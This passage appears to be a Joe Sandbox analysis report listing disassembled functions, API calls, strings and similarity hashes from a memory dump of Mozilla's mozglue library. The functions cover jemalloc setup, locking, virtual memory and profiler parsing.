memset.VCRUNTIME140(?,00000000,?), ref: 6C4FD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C4FE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE315
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE37C
GetSystemInfo.KERNEL32(?), ref: 6C4FE3C7
__Init_thread_footer.LIBCMT ref: 6C4FE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C4FE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C4FE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C4FE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C4FE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C4FE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E768,00001388), ref: 6C4FE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C4FE52E
ReleaseSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE54F

Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(?), ref: 6C4ED999
Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EDA13

Strings

<jemalloc>, xrefs: 6C4FE61C, 6C4FE6CC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FE560, 6C4FE58A, 6C4FE5A5
MALLOC_OPTIONS, xrefs: 6C4FE3FF
MOZ_CRASH(), xrefs: 6C4FE62B
: (malloc) Unsupported character in malloc options: ', xrefs: 6C4FE6DD
Compile-time page size does not divide the runtime one., xrefs: 6C4FE621

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction ID: 2fbd2fec9a55deed0d6657ab91d470d3e08f6b48ed2f1841a27f281b1482fb45
Opcode Fuzzy Hash: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction Fuzzy Hash: C0929A71A056018FD714CF28C980F15BBE1BFC6729F2A866DE8698B791D375E842CBC1

Function 6C53C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C53C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E472

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2cdfb1ead994bd1fed14c2ddd2b557854a23ff3c887f10fbc81134bb95c135ad
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7933A171E0422ACFCB04CF98C8806EDBBF2FF89310F194669D959AB755E731A945CB90

Function 6C4FED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C4FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C4FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C501695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C501770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C501A3E

Strings

~qMl, xrefs: 6C4FED10
~qMl, xrefs: 6C4FED13

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qMl$~qMl
API String ID: 3693777188-255395400
Opcode ID: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction ID: d6d4ad9df4256fbd43cd50f5440639ace5ed5b55fa5434d5de5cd44db3d29673
Opcode Fuzzy Hash: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction Fuzzy Hash: 29B30871E05219CFDB14CFA8C890A9DB7B2BF89304F2582A9D459EB745D730AD86CF90

Function 6C4EFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C4F0D67, 6C4F0D7B, 6C4F0DAC
<jemalloc>, xrefs: 6C4F0D62, 6C4F0D76, 6C4F0DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction ID: 68c8dab6d5d5f8ea6cf21b829ba500b256dfabe0fa02d160ead08536d2f0a6f5
Opcode Fuzzy Hash: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction Fuzzy Hash: B6C26B71A057418FD714CF28C980F16BBE1AFC9328F29C66DE8698B795D771E842CB81

Function 6C53E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C53E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C53F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C540E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C540E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C540EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C540ED4

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction ID: 077e0eba54e88c49933abc04fe1b5042058d6b49d945e901388225da02ebb5b4
Opcode Fuzzy Hash: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction Fuzzy Hash: 3B637F71E0025ACFCB04CFA8C8906DDF7B2FF99310F298669D859AB755E730A945CB90

Function 6C513E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C537770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Ql,?,?,?,6C513E7D,?,?), ref: 6C53777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C513F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C513F5C
VerSetConditionMask.NTDLL ref: 6C513F8D
VerSetConditionMask.NTDLL ref: 6C513F99
VerSetConditionMask.NTDLL ref: 6C513FA0
VerSetConditionMask.NTDLL ref: 6C513FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C513FB4

Strings

nvinit.dll, xrefs: 6C514479
nvd3d9wrap.dll, xrefs: 6C514466
C>Ql, xrefs: 6C513E93

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Ql$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-947918438
Opcode ID: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction ID: be93751d23dc29b7c7e32b8488541a84d5618a6cc1945c1415c3851b8e56a7eb
Opcode Fuzzy Hash: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction Fuzzy Hash: AD52F272614B498FD710DF34C894EAB77E9AF85308F45492DD4968BB42DB34F909CBA0

Function 6C4EFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4, 6C4F1A10
MOZ_CRASH(), xrefs: 6C4F0CA7

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction ID: 0be0ecd8a31981586b43d502becd83abb72e88ffaa5c7c758d1bbca9c5e24ae1
Opcode Fuzzy Hash: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction Fuzzy Hash: 82B27A71A057418FD714CF29C990F16BBE1AFC5328F28C66DE86A8B795D770E842CB81

Function 6C525600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C526131
expected a Count entry, xrefs: 6C525AC3
name, xrefs: 6C525E79, 6C525E8F
expected a Time entry, xrefs: 6C525CB6
ProfileBuffer parse error: %s, xrefs: 6C525AC8, 6C525CBB
schema, xrefs: 6C52606D

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction ID: f4459c656e1fe41993df9aee1870f2b864e689264ea688f59dd1ad08bf61bd51
Opcode Fuzzy Hash: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction Fuzzy Hash: 67924D71A083418FD724CF18C890B9BBBE1BFC9308F55891DE5999B795DB34E809CB92

Function 6C4E7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4E7885
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4E78A5
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4E78AD
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4E78CD
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C4E795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4E79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C4E7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E7C82
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C4E7DAF

Strings

DUl, xrefs: 6C4E789F
DUl, xrefs: 6C4E787F

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DUl$DUl
API String ID: 759993129-1314629681
Opcode ID: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction ID: b2e3c68baef8eb1db0a2846cb80f9712ae96c5bc8fd1d81cbc9da62cad2f1476
Opcode Fuzzy Hash: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction Fuzzy Hash: 32028331A052198FDB54CF18C984F99B7B5FF88329F6682AAD809A7711D770BD91CF80

Function 6C522E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C522ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C522EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C522F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C523214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C523242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5236BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C52378D
set , xrefs: 6C5236EC
get , xrefs: 6C523205

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction ID: d2f6e2e7fe3b7c9a34a85e522faf1d6b11578a59a772b548f4bc02d36529a481
Opcode Fuzzy Hash: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction Fuzzy Hash: 29326F746083818FD324CF24C890A9EBBE6AFC9318F548D1DE5D987791DB34E94ACB52

Function 6C517E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C518280, 6C5183E1
name, xrefs: 6C517ECF, 6C518335
(pre-xul), xrefs: 6C517E88
schema, xrefs: 6C5181E3, 6C518311
vUl, xrefs: 6C518207

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vUl
API String ID: 3412268980-1420529217
Opcode ID: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction ID: 51701d9768cd75cdcda7e2b82927c136578e1ded9be4d208505e01051fd2d05d
Opcode Fuzzy Hash: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction Fuzzy Hash: B3E17071A043448BD714CF68C840A5BFBE9BFC9318F558A2DE895D7790DBB0DD098B91

Function 6C535FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C536009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C536024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QMl,?), ref: 6C536046
OutputDebugStringA.KERNEL32(?,QMl,?), ref: 6C536061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C536069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C55148E), ref: 6C536091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QMl,00000000,?), ref: 6C5360BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5360C4

Strings

QMl, xrefs: 6C535FFC, 6C536042, 6C536045, 6C5360B3

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QMl
API String ID: 3835517998-1439696203
Opcode ID: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction ID: 03b2f784946ebf0a0da5de58f5c72874e34d19d9309acb398cd954644f84203d
Opcode Fuzzy Hash: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction Fuzzy Hash: A521E2B1A002189FDF106F24DC0DAAE7BB8FF45318F418428E81AD7240DB75A949CFD5

Function 6C4F5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C4F7652

Strings

ewSl, xrefs: 6C4F5E9C, 6C4F5F22, 6C4F61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4F72E3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4F72F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F7BCD, 6C4F7C1F, 6C4F7C34, 6C4F80FD
MOZ_CRASH(), xrefs: 6C4F7BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C4F730D

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewSl
API String ID: 2613674957-934110803
Opcode ID: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction ID: 254458958504f6f1f7f8086802df393892c8c06a3518d93701c5d736a17ce24b
Opcode Fuzzy Hash: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction Fuzzy Hash: 3B336A716096018FD304CF28C590E15BBE2BFC6328F29C6ADE9798B7A5D775E842CB41

Function 6C524820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

data, xrefs: 6C5249B4
-%llu, xrefs: 6C524825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C524D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C524CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C524D65
ProfileBuffer parse error: %s, xrefs: 6C524DD9
Ul, xrefs: 6C524F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C524DB8, 6C524DD8
schema, xrefs: 6C5248C1

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: free
